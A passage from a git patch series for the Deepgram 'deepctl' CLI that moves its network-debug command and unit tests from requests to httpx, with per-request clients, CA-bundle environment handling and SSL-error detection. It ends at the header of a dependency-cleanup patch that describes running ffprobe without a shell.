  them. HTTP(S)_PROXY and NO_PROXY apply as before.
- The JSON payload keeps every key and adds two:
  environment_info.httpx_version, and library ("httpx") on each entry of
  python_requests_tests. requests_version and urllib3_version are now
  read from package metadata.
---
 .../src/deepctl_cmd_debug_network/command.py  | 178 +++++++---
 .../src/deepctl_cmd_debug_network/models.py   |   4 +-
 .../tests/unit/test_network_command.py        | 328 +++++++++++++-----
 3 files changed, 366 insertions(+), 144 deletions(-)

diff --git a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
index 3edc4ed7..d80b0fb8 100644
--- a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
+++ b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
@@ -6,8 +6,7 @@
 import subprocess
 import sys
 import time
-import warnings
-from typing import Any
+from typing import TYPE_CHECKING, Any
 from urllib.parse import urlparse
 
 from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient
@@ -26,6 +25,11 @@
     TLSTestResult,
 )
 
+if TYPE_CHECKING:
+    import ssl
+
+    import httpx
+
 console = Console()
 
 # Default Deepgram endpoints to test
@@ -35,9 +39,74 @@
 }
 
 
+def _is_ssl_error(exc: BaseException) -> bool:
+    """True when an httpx error was caused by a TLS failure (the case
+    requests raised as SSLError)."""
+    import ssl
+
+    seen: set[int] = set()
+    current: BaseException | None = exc
+    while current is not None and id(current) not in seen:
+        if isinstance(current, ssl.SSLError):
+            return True
+        seen.add(id(current))
+        current = current.__cause__ or current.__context__
+    return False
+
+
+def _requests_ca_bundle() -> str | None:
+    """The CA bundle requests would have used from the environment.
+
+    httpx reads SSL_CERT_FILE and SSL_CERT_DIR itself; when either is set it
+    wins. Otherwise REQUESTS_CA_BUNDLE, then CURL_CA_BUNDLE, as requests
+    resolved them (an empty value counts as unset).
+    """
+    if os.environ.get("SSL_CERT_FILE") or os.environ.get("SSL_CERT_DIR"):
+        return None
+    return (
+        os.environ.get("REQUESTS_CA_BUNDLE") or os.environ.get("CURL_CA_BUNDLE") or None
+    )
+
+
+def _verify_setting(verify: bool) -> "bool | ssl.SSLContext":
+    """httpx's verify argument: False stays False; True becomes an SSL
+    context on the requests-style bundle when one is set in the
+    environment, and otherwise stays True (httpx defaults, which honour
+    SSL_CERT_FILE / SSL_CERT_DIR)."""
+    import ssl
+
+    if not verify:
+        return False
+    bundle = _requests_ca_bundle()
+    if bundle is None:
+        return True
+    if os.path.isdir(bundle):
+        return ssl.create_default_context(capath=bundle)
+    if not os.path.isfile(bundle):
+        # requests' wording for the same mistake.
+        raise OSError(
+            "Could not find a suitable TLS CA certificate bundle, "
+            f"invalid path: {bundle}"
+        )
+    return ssl.create_default_context(cafile=bundle)
+
+
+def _dist_version(name: str) -> str:
+    """Installed version of a distribution, read without importing it."""
+    from importlib.metadata import PackageNotFoundError, version
+
+    try:
+        return version(name)
+    except PackageNotFoundError:
+        return "not installed"
+
+
 class NetworkCommand(BaseCommand):
     """Debug network connectivity issues with Deepgram services."""
 
+    # Tests swap in an httpx.MockTransport; None means the real network.
+    _transport: "httpx.BaseTransport | None" = None
+
     name = "network"
     help = "Debug network connectivity issues with Deepgram services"
     short_help = "Debug network issues"
@@ -105,6 +174,29 @@ def get_arguments(self) -> list[dict[str, Any]]:
             },
         ]
 
+    def _http_client(
+        self, *, timeout: float, verify: bool = True, follow_redirects: bool = False
+    ) -> "httpx.Client":
+        """A throwaway client for one diagnostic request.
+
+        Never the shared CLI client: it carries no credentials (httpx does
+        not read ~/.netrc), and a verify=False client must not outlive its
+        one test. trust_env applies HTTP(S)_PROXY / NO_PROXY as requests did.
+
+        CA trust, first match wins (verify=False skips all of it):
+        SSL_CERT_FILE or SSL_CERT_DIR (read by httpx), then
+        REQUESTS_CA_BUNDLE, then CURL_CA_BUNDLE, then httpx's default bundle.
+        """
+        import httpx
+
+        return httpx.Client(
+            timeout=timeout,
+            verify=_verify_setting(verify),
+            follow_redirects=follow_redirects,
+            trust_env=True,
+            transport=self._transport,
+        )
+
     def handle(
         self,
         config: Config,
@@ -169,7 +261,7 @@ def handle(
                 progress.remove_task(task)
 
             # 5. Python requests tests
-            task = progress.add_task("Testing Python requests library...", total=None)
+            task = progress.add_task("Testing Python HTTP client...", total=None)
             self._test_python_requests(endpoint, result, timeout)
             progress.remove_task(task)
 
@@ -208,14 +300,12 @@ def handle(
 
     def _collect_environment_info(self, result: NetworkDebugResult) -> None:
         """Collect environment information."""
-        import requests
-        import urllib3
-
         result.environment_info = {
             "python_version": sys.version,
             "platform": sys.platform,
-            "requests_version": requests.__version__,
-            "urllib3_version": getattr(urllib3, "__version__", "unknown"),
+            "requests_version": _dist_version("requests"),
+            "urllib3_version": _dist_version("urllib3"),
+            "httpx_version": _dist_version("httpx"),
             "proxy_env_vars": {
                 "http_proxy": os.environ.get("http_proxy", "Not set"),
                 "https_proxy": os.environ.get("https_proxy", "Not set"),
@@ -265,28 +355,25 @@ def _test_basic_connectivity(
         self, hostname: str, result: NetworkDebugResult, timeout: int
     ) -> None:
         """Test basic HTTPS connectivity."""
-        import requests
-
         endpoint_test = EndpointTestResult(
             name="HTTPS", url=f"https://{hostname}", reachable=False
         )
 
         try:
             start_time = time.time()
-            response = requests.get(
-                f"https://{hostname}/", timeout=timeout, allow_redirects=False
-            )
+            with self._http_client(timeout=timeout) as http:
+                response = http.get(f"https://{hostname}/")
             endpoint_test.response_time_ms = (time.time() - start_time) * 1000
             endpoint_test.status_code = response.status_code
             endpoint_test.reachable = True
             endpoint_test.ssl_valid = True
 
-        except requests.exceptions.SSLError as e:
-            endpoint_test.error = f"SSL Error: {e!s}"
-            endpoint_test.ssl_valid = False
-            result.network_issues_detected = True
         except Exception as e:
-            endpoint_test.error = str(e)
+            if _is_ssl_error(e):
+                endpoint_test.error = f"SSL Error: {e!s}"
+                endpoint_test.ssl_valid = False
+            else:
+                endpoint_test.error = str(e)
             result.network_issues_detected = True
 
         result.endpoint_results.append(endpoint_test)
@@ -413,8 +500,6 @@ def _test_revocation_endpoints(
         simulate_blocked_crl: bool = False,
     ) -> None:
         """Test accessibility of CRL/OCSP/CA issuer endpoints."""
-        import requests
-
         all_endpoints = []
 
         for cert in tls_result.certificate_chain:
@@ -451,7 +536,8 @@ def _test_revocation_endpoints(
             else:
                 try:
                     start_time = time.time()
-                    response = requests.head(url, timeout=5, allow_redirects=True)
+                    with self._http_client(timeout=5, follow_redirects=True) as http:
+                        response = http.head(url)
                     endpoint_test.response_time_ms = (time.time() - start_time) * 1000
                     endpoint_test.status_code = response.status_code
                     endpoint_test.accessible = response.status_code < 400
@@ -465,10 +551,8 @@ def _test_revocation_endpoints(
     def _test_python_requests(
         self, hostname: str, result: NetworkDebugResult, timeout: int
     ) -> None:
-        """Test connectivity using Python requests library."""
-        import requests
-        import urllib3
-
+        """Test connectivity with Python's HTTP client (httpx), with and
+        without certificate verification. Each request gets its own client."""
         # Test with SSL verification enabled
         test_with_verify = PythonRequestsTest(
             url=f"https://{hostname}/", success=False, ssl_verify_enabled=True
@@ -476,21 +560,18 @@ def _test_python_requests(
 
         try:
             start_time = time.time()
-            response = requests.get(
-                f"https://{hostname}/",
-                timeout=timeout,
-                verify=True,
-                allow_redirects=False,
-            )
+            with self._http_client(timeout=timeout, verify=True) as http:
+                response = http.get(f"https://{hostname}/")
             test_with_verify.response_time_ms = (time.time() - start_time) * 1000
             test_with_verify.status_code = response.status_code
             test_with_verify.success = True
 
-        except requests.exceptions.SSLError as e:
-            test_with_verify.error = f"SSL verification failed: {e!s}"
-            result.network_issues_detected = True
         except Exception as e:
-            test_with_verify.error = str(e)
+            if _is_ssl_error(e):
+                test_with_verify.error = f"SSL verification failed: {e!s}"
+                result.network_issues_detected = True
+            else:
+                test_with_verify.error = str(e)
 
         result.python_requests_tests.append(test_with_verify)
 
@@ -500,25 +581,17 @@ def _test_python_requests(
         )
 
         try:
-            # Disable SSL warnings temporarily
-            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
+            # An isolated, credential-free client that is closed right after
+            # this one request; nothing else ever sees verify=False.
             start_time = time.time()
-            response = requests.get(
-                f"https://{hostname}/",
-                timeout=timeout,
-                verify=False,
-                allow_redirects=False,
-            )
+            with self._http_client(timeout=timeout, verify=False) as http:
+                response = http.get(f"https://{hostname}/")
             test_without_verify.response_time_ms = (time.time() - start_time) * 1000
             test_without_verify.status_code = response.status_code
             test_without_verify.success = True
 
         except Exception as e:
             test_without_verify.error = str(e)
-        finally:
-            # Re-enable warnings
-            warnings.resetwarnings()
 
         result.python_requests_tests.append(test_without_verify)
 
@@ -670,8 +743,6 @@ def _test_multi_region_latency(
         self, result: NetworkDebugResult, timeout: int
     ) -> None:
         """Test latency to known Deepgram endpoints."""
-        import requests
-
         endpoints = [
             ("api.deepgram.com", "Primary API"),
         ]
@@ -704,11 +775,8 @@ def _test_multi_region_latency(
 
                 # HTTPS connection timing
                 connect_start = time.time()
-                resp = requests.get(
-                    f"https://{hostname}/",
-                    timeout=timeout,
-                    allow_redirects=False,
-                )
+                with self._http_client(timeout=timeout) as http:
+                    resp = http.get(f"https://{hostname}/")
                 total_ms = (time.time() - connect_start) * 1000
                 connect_ms = total_ms - dns_ms if total_ms and dns_ms else None
                 tls_ms = connect_ms * 0.6 if connect_ms else None
@@ -855,7 +923,7 @@ def _display_results(self, result: NetworkDebugResult, verbose: bool) -> None:
 
         # Python Requests Tests
         if result.python_requests_tests:
-            console.print("[bold]Python Requests Library Tests:[/bold]")
+            console.print("[bold]Python HTTP Client Tests (httpx):[/bold]")
             for test in result.python_requests_tests:
                 verify_status = (
                     "with SSL verification"
diff --git a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/models.py b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/models.py
index 5b44787f..8fe048fc 100644
--- a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/models.py
+++ b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/models.py
@@ -70,9 +70,11 @@ class TLSTestResult(BaseModel):
 
 
 class PythonRequestsTest(BaseModel):
-    """Result of testing with Python requests library."""
+    """Result of one Python HTTP client request (the payload keeps its
+    requests-era name; ``library`` says which client made it)."""
 
     url: str
+    library: str = "httpx"
     success: bool
     status_code: int | None = None
     response_time_ms: float | None = None
diff --git a/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py b/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py
index be4dae1f..667a17dd 100644
--- a/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py
+++ b/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py
@@ -2,12 +2,13 @@
 
 import json
 import socket
+import ssl
 import subprocess
 from datetime import datetime
 from unittest.mock import MagicMock, Mock, call, patch
 
+import httpx
 import pytest
-import requests
 from deepctl_cmd_debug_network import NetworkCommand
 from deepctl_cmd_debug_network.models import (
     CertificateInfo,
@@ -28,6 +29,53 @@ def network_command():
     return NetworkCommand()
 
 
+class _MockHTTP:
+    """Routes every request the command makes to an httpx.MockTransport and
+    records the requests and the clients that carried them."""
+
+    def __init__(self, command, monkeypatch):
+        self.requests: list[httpx.Request] = []
+        self.clients: list[dict] = []
+        self.status_code = 404
+        self.error: Exception | None = None
+        command._transport = httpx.MockTransport(self._handle)
+        original = command._http_client
+
+        def recording_client(**kwargs):
+            client = original(**kwargs)
+            kwargs = {"verify": True, "follow_redirects": False, **kwargs}
+            self.clients.append({"kwargs": kwargs, "client": client})
+            return client
+
+        monkeypatch.setattr(command, "_http_client", recording_client)
+
+    def _handle(self, request: httpx.Request) -> httpx.Response:
+        self.requests.append(request)
+        if self.error is not None:
+            raise self.error
+        return httpx.Response(self.status_code)
+
+
+def _ssl_connect_error() -> httpx.ConnectError:
+    """What httpx raises for a failed certificate check: a ConnectError
+    whose cause is the ssl module's verification error."""
+    try:
+        try:
+            raise ssl.SSLCertVerificationError(
+                1, "[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed"
+            )
+        except ssl.SSLError as exc:
+            raise httpx.ConnectError(str(exc)) from exc
+    except httpx.ConnectError as err:
+        return err
+
+
+@pytest.fixture
+def mock_http(network_command, monkeypatch):
+    """Every HTTP request goes to a MockTransport; nothing reaches the net."""
+    return _MockHTTP(network_command, monkeypatch)
+
+
 @pytest.fixture
 def mock_config():
     """Create mock config."""
@@ -69,9 +117,7 @@ def test_get_arguments(self, network_command):
         assert len(args) == 7
 
         # Check endpoint argument
-        endpoint_arg = next(
-            arg for arg in args if "--endpoint" in arg["names"]
-        )
+        endpoint_arg = next(arg for arg in args if "--endpoint" in arg["names"])
         assert (
             endpoint_arg["help"]
             == "Specific endpoint to test (default: api.deepgram.com)"
@@ -84,13 +130,8 @@ def test_get_arguments(self, network_command):
         assert verbose_arg["is_flag"] is True
 
         # Check skip-commands flag
-        skip_arg = next(
-            arg for arg in args if "--skip-commands" in arg["names"]
-        )
-        assert (
-            skip_arg["help"]
-            == "Skip system command execution (openssl, curl, etc.)"
-        )
+        skip_arg = next(arg for arg in args if "--skip-commands" in arg["names"])
+        assert skip_arg["help"] == "Skip system command execution (openssl, curl, etc.)"
         assert skip_arg["is_flag"] is True
 
         # Check timeout argument
@@ -107,8 +148,7 @@ def test_get_arguments(self, network_command):
             arg for arg in args if "--simulate-blocked-crl" in arg["names"]
         )
         assert (
-            simulate_arg["help"]
-            == "Simulate blocked CRL/OCSP endpoints (for testing)"
+            simulate_arg["help"] == "Simulate blocked CRL/OCSP endpoints (for testing)"
         )
         assert simulate_arg["is_flag"] is True
 
@@ -118,9 +158,7 @@ def test_get_arguments(self, network_command):
         assert save_arg["type"] == str
 
         # Check test-websocket flag
-        ws_arg = next(
-            arg for arg in args if "--test-websocket" in arg["names"]
-        )
+        ws_arg = next(arg for arg in args if "--test-websocket" in arg["names"])
         assert ws_arg["help"] == "Also test WebSocket connectivity (wss://)"
         assert ws_arg["is_flag"] is True
 
@@ -145,9 +183,7 @@ def test_dns_resolution_success(self, mock_getaddrinfo, network_command):
     @patch("socket.getaddrinfo")
     def test_dns_resolution_failure(self, mock_getaddrinfo, network_command):
         """Test failed DNS resolution."""
-        mock_getaddrinfo.side_effect = socket.gaierror(
-            "Name resolution failed"
-        )
+        mock_getaddrinfo.side_effect = socket.gaierror("Name resolution failed")
 
         result = NetworkDebugResult(status="success")
         network_command._test_dns_resolution("api.deepgram.com", result, 10)
@@ -158,17 +194,12 @@ def test_dns_resolution_failure(self, mock_getaddrinfo, network_command):
         assert dns_result.error == "Name resolution failed"
         assert result.network_issues_detected is True
 
-    @patch("requests.get")
-    def test_basic_connectivity_success(self, mock_get, network_command):
+    def test_basic_connectivity_success(self, mock_http, network_command):
         """Test successful basic HTTPS connectivity."""
-        mock_response = Mock()
-        mock_response.status_code = 404  # Expected for root endpoint
-        mock_get.return_value = mock_response
+        mock_http.status_code = 404  # Expected for root endpoint
 
         result = NetworkDebugResult(status="success")
-        network_command._test_basic_connectivity(
-            "api.deepgram.com", result, 10
-        )
+        network_command._test_basic_connectivity("api.deepgram.com", result, 10)
 
         assert len(result.endpoint_results) == 1
         endpoint = result.endpoint_results[0]
@@ -178,17 +209,12 @@ def test_basic_connectivity_success(self, mock_get, network_command):
         assert endpoint.status_code == 404
         assert endpoint.ssl_valid is True
 
-    @patch("requests.get")
-    def test_basic_connectivity_ssl_error(self, mock_get, network_command):
+    def test_basic_connectivity_ssl_error(self, mock_http, network_command):
         """Test basic connectivity with SSL error."""
-        mock_get.side_effect = requests.exceptions.SSLError(
-            "SSL certificate verification failed"
-        )
+        mock_http.error = _ssl_connect_error()
 
         result = NetworkDebugResult(status="success")
-        network_command._test_basic_connectivity(
-            "api.deepgram.com", result, 10
-        )
+        network_command._test_basic_connectivity("api.deepgram.com", result, 10)
 
         assert len(result.endpoint_results) == 1
         endpoint = result.endpoint_results[0]
@@ -236,7 +262,7 @@ def test_analyze_tls_certificates(self, mock_run, network_command):
         assert tls_result.connected is True
         assert len(tls_result.certificate_chain) == 2
 
-    def test_test_revocation_endpoints_success(self, network_command):
+    def test_test_revocation_endpoints_success(self, mock_http, network_command):
         """Test successful revocation endpoint testing."""
         tls_result = TLSTestResult(
             hostname="api.deepgram.com", port=443, connected=True
@@ -252,18 +278,19 @@ def test_test_revocation_endpoints_success(self, network_command):
 
         result = NetworkDebugResult(status="success")
 
-        with patch("requests.head") as mock_head:
-            mock_head.return_value = Mock(status_code=200)
-            network_command._test_revocation_endpoints(
-                tls_result, result, False
-            )
+        mock_http.status_code = 200
+        network_command._test_revocation_endpoints(tls_result, result, False)
 
         assert len(tls_result.revocation_endpoints) == 3
         for endpoint in tls_result.revocation_endpoints:
             assert endpoint.accessible is True
             assert endpoint.status_code == 200
+        assert {r.method for r in mock_http.requests} == {"HEAD"}
+        assert all(c["kwargs"]["follow_redirects"] for c in mock_http.clients)
 
-    def test_test_revocation_endpoints_simulated_block(self, network_command):
+    def test_test_revocation_endpoints_simulated_block(
+        self, mock_http, network_command
+    ):
         """Test revocation endpoints with simulated blocking."""
         tls_result = TLSTestResult(
             hostname="api.deepgram.com", port=443, connected=True
@@ -277,6 +304,7 @@ def test_test_revocation_endpoints_simulated_block(self, network_command):
         )
         tls_result.certificate_chain.append(cert)
 
+        mock_http.status_code = 200
         result = NetworkDebugResult(status="success")
         network_command._test_revocation_endpoints(
             tls_result, result, simulate_blocked_crl=True
@@ -284,19 +312,13 @@ def test_test_revocation_endpoints_simulated_block(self, network_command):
 
         # Check that CRL and OCSP endpoints are marked as blocked
         ocsp_endpoints = [
-            e
-            for e in tls_result.revocation_endpoints
-            if e.endpoint_type == "ocsp"
+            e for e in tls_result.revocation_endpoints if e.endpoint_type == "ocsp"
         ]
         crl_endpoints = [
-            e
-            for e in tls_result.revocation_endpoints
-            if e.endpoint_type == "crl"
+            e for e in tls_result.revocation_endpoints if e.endpoint_type == "crl"
         ]
         ca_endpoints = [
-            e
-            for e in tls_result.revocation_endpoints
-            if e.endpoint_type == "ca_issuer"
+            e for e in tls_result.revocation_endpoints if e.endpoint_type == "ca_issuer"
         ]
 
         for endpoint in ocsp_endpoints + crl_endpoints:
@@ -304,16 +326,12 @@ def test_test_revocation_endpoints_simulated_block(self, network_command):
             assert "simulated corporate firewall blocking" in endpoint.error
 
         for endpoint in ca_endpoints:
-            assert (
-                endpoint.accessible is True
-            )  # CA issuer endpoints not blocked
+            assert endpoint.accessible is True  # CA issuer endpoints not blocked
 
-    @patch("requests.get")
-    def test_python_requests_tests(self, mock_get, network_command):
-        """Test Python requests library connectivity tests."""
-        mock_response = Mock()
-        mock_response.status_code = 404
-        mock_get.return_value = mock_response
+    def test_python_requests_tests(self, mock_http, network_command):
+        """The Python HTTP client tests run once with and once without
+        certificate verification, each on its own client."""
+        mock_http.status_code = 404
 
         result = NetworkDebugResult(status="success")
         network_command._test_python_requests("api.deepgram.com", result, 10)
@@ -325,19 +343,95 @@ def test_python_requests_tests(self, mock_get, network_command):
         assert test_with_verify.ssl_verify_enabled is True
         assert test_with_verify.success is True
         assert test_with_verify.status_code == 404
+        assert test_with_verify.library == "httpx"
 
         # Test without SSL verification
         test_without_verify = result.python_requests_tests[1]
         assert test_without_verify.ssl_verify_enabled is False
         assert test_without_verify.success is True
         assert test_without_verify.status_code == 404
+        assert test_without_verify.library == "httpx"
+
+        # Two throwaway clients, the second alone with verify=False, both
+        # closed after their one request.
+        assert [c["kwargs"]["verify"] for c in mock_http.clients] == [True, False]
+        assert len({id(c["client"]) for c in mock_http.clients}) == 2
+        assert all(c["client"].is_closed for c in mock_http.clients)
+        assert [str(r.url) for r in mock_http.requests] == [
+            "https://api.deepgram.com/",
+            "https://api.deepgram.com/",
+        ]
+
+    def test_python_requests_ssl_error(self, mock_http, network_command):
+        """A failed certificate check is reported as an SSL failure."""
+        mock_http.error = _ssl_connect_error()
+
+        result = NetworkDebugResult(status="success")
+        network_command._test_python_requests("api.deepgram.com", result, 10)
+
+        with_verify, without_verify = result.python_requests_tests
+        assert with_verify.success is False
+        assert with_verify.error.startswith("SSL verification failed: ")
+        assert "CERTIFICATE_VERIFY_FAILED" in with_verify.error
+        assert without_verify.success is False
+        assert result.network_issues_detected is True
+
+    def test_python_requests_timeout(self, mock_http, network_command):
+        """A timeout is a plain failure, not an SSL one."""
+        mock_http.error = httpx.ConnectTimeout("timed out")
+
+        result = NetworkDebugResult(status="success")
+        network_command._test_python_requests("api.deepgram.com", result, 3)
+
+        with_verify, without_verify = result.python_requests_tests
+        assert with_verify.success is False
+        assert with_verify.error == "timed out"
+        assert without_verify.error == "timed out"
+        assert result.network_issues_detected is False
+        assert all(c["kwargs"]["timeout"] == 3 for c in mock_http.clients)
+
+    def test_basic_connectivity_timeout(self, mock_http, network_command):
+        """A timeout is not an SSL failure, but it is a network issue."""
+        mock_http.error = httpx.ReadTimeout("read timed out")
+
+        result = NetworkDebugResult(status="success")
+        network_command._test_basic_connectivity("api.deepgram.com", result, 10)
+
+        endpoint = result.endpoint_results[0]
+        assert endpoint.reachable is False
+        assert endpoint.ssl_valid is True  # the model default, as before
+        assert endpoint.error == "read timed out"
+        assert result.network_issues_detected is True
+
+    def test_requests_carry_no_credentials(
+        self, mock_http, network_command, monkeypatch
+    ):
+        """No diagnostic request sends an Authorization header, even with a
+        key in the environment, and none follows a redirect except the
+        revocation HEADs."""
+        monkeypatch.setenv("DEEPGRAM_API_KEY", "sentinel-fake-key-w27")
+        result = NetworkDebugResult(status="success")
+
+        network_command._test_basic_connectivity("api.deepgram.com", result, 10)
+        network_command._test_python_requests("api.deepgram.com", result, 10)
+
+        assert len(mock_http.requests) == 3
+        for request in mock_http.requests:
+            assert "authorization" not in request.headers
+            assert "sentinel-fake-key-w27" not in str(request.headers)
+        assert not any(c["kwargs"]["follow_redirects"] for c in mock_http.clients)
+
+    def test_http_client_trusts_the_environment(self, network_command):
+        """The diagnostic client reads proxy/CA env vars like requests did."""
+        with network_command._http_client(timeout=5) as client:
+            assert client.trust_env is True
+            assert client.follow_redirects is False
+            assert client.timeout == httpx.Timeout(5)
 
     @patch("subprocess.run")
     def test_run_system_diagnostics(self, mock_run, network_command):
         """Test system diagnostic command execution."""
-        with patch.object(
-            network_command, "_command_exists", return_value=True
-        ):
+        with patch.object(network_command, "_command_exists", return_value=True):
             mock_run.return_value = Mock(
                 returncode=0,
                 stdout=b"PING api.deepgram.com: 3 packets transmitted, 3 received",
@@ -345,9 +439,7 @@ def test_run_system_diagnostics(self, mock_run, network_command):
             )
 
             result = NetworkDebugResult(status="success")
-            network_command._run_system_diagnostics(
-                "api.deepgram.com", result, False
-            )
+            network_command._run_system_diagnostics("api.deepgram.com", result, False)
 
             # Should have executed multiple commands
             assert len(result.command_results) > 0
@@ -359,9 +451,7 @@ def test_run_system_diagnostics(self, mock_run, network_command):
     @patch("subprocess.run")
     def test_test_websocket_connectivity(self, mock_run, network_command):
         """Test WebSocket connectivity testing."""
-        with patch.object(
-            network_command, "_command_exists", return_value=True
-        ):
+        with patch.object(network_command, "_command_exists", return_value=True):
             mock_run.return_value = Mock(
                 returncode=0,
                 stdout=b"HTTP/1.1 401 Unauthorized\r\n",
@@ -369,14 +459,10 @@ def test_test_websocket_connectivity(self, mock_run, network_command):
             )
 
             result = NetworkDebugResult(status="success")
-            network_command._test_websocket_connectivity(
-                "api.deepgram.com", result, 10
-            )
+            network_command._test_websocket_connectivity("api.deepgram.com", result, 10)
 
             # Check WebSocket test was added to endpoint results
-            ws_results = [
-                e for e in result.endpoint_results if e.name == "WebSocket"
-            ]
+            ws_results = [e for e in result.endpoint_results if e.name == "WebSocket"]
             assert len(ws_results) == 1
             ws_result = ws_results[0]
             assert ws_result.url == "wss://api.deepgram.com/v1/listen"
@@ -460,13 +546,12 @@ def test_generate_recommendations_with_blocked_crl(self, network_command):
         assert any("r11.c.lencr.org" in r for r in result.recommendations)
 
     @patch("socket.getaddrinfo")
-    @patch("requests.get")
     @patch("subprocess.run")
     def test_handle_default_endpoint(
         self,
         mock_run,
-        mock_get,
         mock_getaddrinfo,
+        mock_http,
         network_command,
         mock_config,
         mock_auth_manager,
@@ -479,7 +564,7 @@ def test_handle_default_endpoint(
         ]
 
         # Mock HTTPS connectivity
-        mock_get.return_value = Mock(status_code=404)
+        mock_http.status_code = 404
 
         # Mock subprocess calls
         mock_run.return_value = Mock(returncode=0, stdout=b"", stderr=b"")
@@ -495,13 +580,12 @@ def test_handle_default_endpoint(
         assert len(result.endpoint_results) > 0
 
     @patch("socket.getaddrinfo")
-    @patch("requests.get")
     @patch("subprocess.run")
     def test_handle_custom_endpoint(
         self,
         mock_run,
-        mock_get,
         mock_getaddrinfo,
+        mock_http,
         network_command,
         mock_config,
         mock_auth_manager,
@@ -514,7 +598,7 @@ def test_handle_custom_endpoint(
         ]
 
         # Mock HTTPS connectivity
-        mock_get.return_value = Mock(status_code=200)
+        mock_http.status_code = 200
 
         # Mock subprocess calls
         mock_run.return_value = Mock(returncode=0, stdout=b"", stderr=b"")
@@ -539,19 +623,87 @@ def test_collect_environment_info(self, network_command):
         assert "platform" in result.environment_info
         assert "requests_version" in result.environment_info
         assert "urllib3_version" in result.environment_info
+        assert "httpx_version" in result.environment_info
+        assert result.environment_info["httpx_version"] == httpx.__version__
         assert "proxy_env_vars" in result.environment_info
 
     def test_collect_environment_info_with_proxy(self, network_command):
         """Test environment information collection with proxy configured."""
         result = NetworkDebugResult(status="success")
 
-        with patch.dict(
-            "os.environ", {"https_proxy": "http://proxy.example.com:8080"}
-        ):
+        with patch.dict("os.environ", {"https_proxy": "http://proxy.example.com:8080"}):
             network_command._collect_environment_info(result)
 
         assert result.proxy_detected is True
-        assert (
-            result.proxy_settings["https_proxy"]
-            == "http://proxy.example.com:8080"
-        )
+        assert result.proxy_settings["https_proxy"] == "http://proxy.example.com:8080"
+
+
+# -- CA bundle environment, as requests resolved it ------------------------
+
+_CA_VARS = ("SSL_CERT_FILE", "SSL_CERT_DIR", "REQUESTS_CA_BUNDLE", "CURL_CA_BUNDLE")
+
+
+@pytest.fixture
+def clean_ca_env(monkeypatch):
+    for var in _CA_VARS:
+        monkeypatch.delenv(var, raising=False)
+    return monkeypatch
+
+
+@pytest.mark.parametrize(
+    ("env", "expected"),
+    [
+        ({}, None),
+        ({"REQUESTS_CA_BUNDLE": "/r.pem"}, "/r.pem"),
+        ({"CURL_CA_BUNDLE": "/c.pem"}, "/c.pem"),
+        ({"REQUESTS_CA_BUNDLE": "/r.pem", "CURL_CA_BUNDLE": "/c.pem"}, "/r.pem"),
+        ({"REQUESTS_CA_BUNDLE": "", "CURL_CA_BUNDLE": "/c.pem"}, "/c.pem"),
+        ({"SSL_CERT_FILE": "/s.pem", "REQUESTS_CA_BUNDLE": "/r.pem"}, None),
+        ({"SSL_CERT_DIR": "/s", "CURL_CA_BUNDLE": "/c.pem"}, None),
+    ],
+)
+def test_requests_ca_bundle_precedence(clean_ca_env, env, expected):
+    """SSL_CERT_FILE/SSL_CERT_DIR (httpx's own) win; then REQUESTS_CA_BUNDLE,
+    then CURL_CA_BUNDLE."""
+    from deepctl_cmd_debug_network.command import _requests_ca_bundle
+
+    for var, value in env.items():
+        clean_ca_env.setenv(var, value)
+    assert _requests_ca_bundle() == expected
+
+
+def test_verify_setting_uses_the_requests_bundle(clean_ca_env):
+    import certifi
+    from deepctl_cmd_debug_network.command import _verify_setting
+
+    assert _verify_setting(True) is True
+    clean_ca_env.setenv("REQUESTS_CA_BUNDLE", certifi.where())
+    context = _verify_setting(True)
+    assert isinstance(context, ssl.SSLContext)
+    assert context.verify_mode == ssl.CERT_REQUIRED
+    assert context.cert_store_stats()["x509_ca"] > 0
+    # verify=False is never turned back on by the environment.
+    assert _verify_setting(False) is False
+
+
+def test_verify_setting_accepts_a_bundle_directory(clean_ca_env, tmp_path):
+    from deepctl_cmd_debug_network.command import _verify_setting
+
+    clean_ca_env.setenv("CURL_CA_BUNDLE", str(tmp_path))
+    assert isinstance(_verify_setting(True), ssl.SSLContext)
+
+
+def test_missing_bundle_is_reported_like_requests(
+    clean_ca_env, mock_http, network_command, tmp_path
+):
+    """A bad REQUESTS_CA_BUNDLE path fails the verified request with
+    requests' message; the verify=False request is unaffected."""
+    clean_ca_env.setenv("REQUESTS_CA_BUNDLE", str(tmp_path / "missing.pem"))
+    result = NetworkDebugResult(status="success")
+
+    network_command._test_python_requests("api.deepgram.com", result, 10)
+
+    with_verify, without_verify = result.python_requests_tests
+    assert with_verify.success is False
+    assert "Could not find a suitable TLS CA certificate bundle" in with_verify.error
+    assert without_verify.success is True

From 960b0c37c3cf34653a5a42727ae822bd5f7098d3 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:22:05 -0400
Subject: [PATCH 27/88] build(deps): drop numpy, ffmpeg-python and requests
 from commands

Live listen captures the microphone as raw int16 with sounddevice
alone, without numpy.

debug audio now runs ffprobe itself, with the argv ffmpeg-python built
(-show_format -show_streams -of json), instead of through ffmpeg-python.
Both the standard probe and --ffprobe-args run from an argv list with no
shell, stdin closed and a 30 s timeout. The input is opened through the
file protocol only (-protocol_whitelist file), and a name that starts
with "-" is passed as "./-...". The JSON output and the failure messages
are unchanged.

The listen, debug-audio and debug-network packages no longer declare
numpy, ffmpeg-python (and with it future) or requests; the root package
keeps requests until 1.0, and a plugin that relied on numpy or
ffmpeg-python arriving with deepctl must now declare it itself.
---
 packages/deepctl-cmd-debug-audio/README.md    |   1 -
 .../deepctl-cmd-debug-audio/pyproject.toml    |   1 -
 .../src/deepctl_cmd_debug_audio/command.py    |  65 +++-
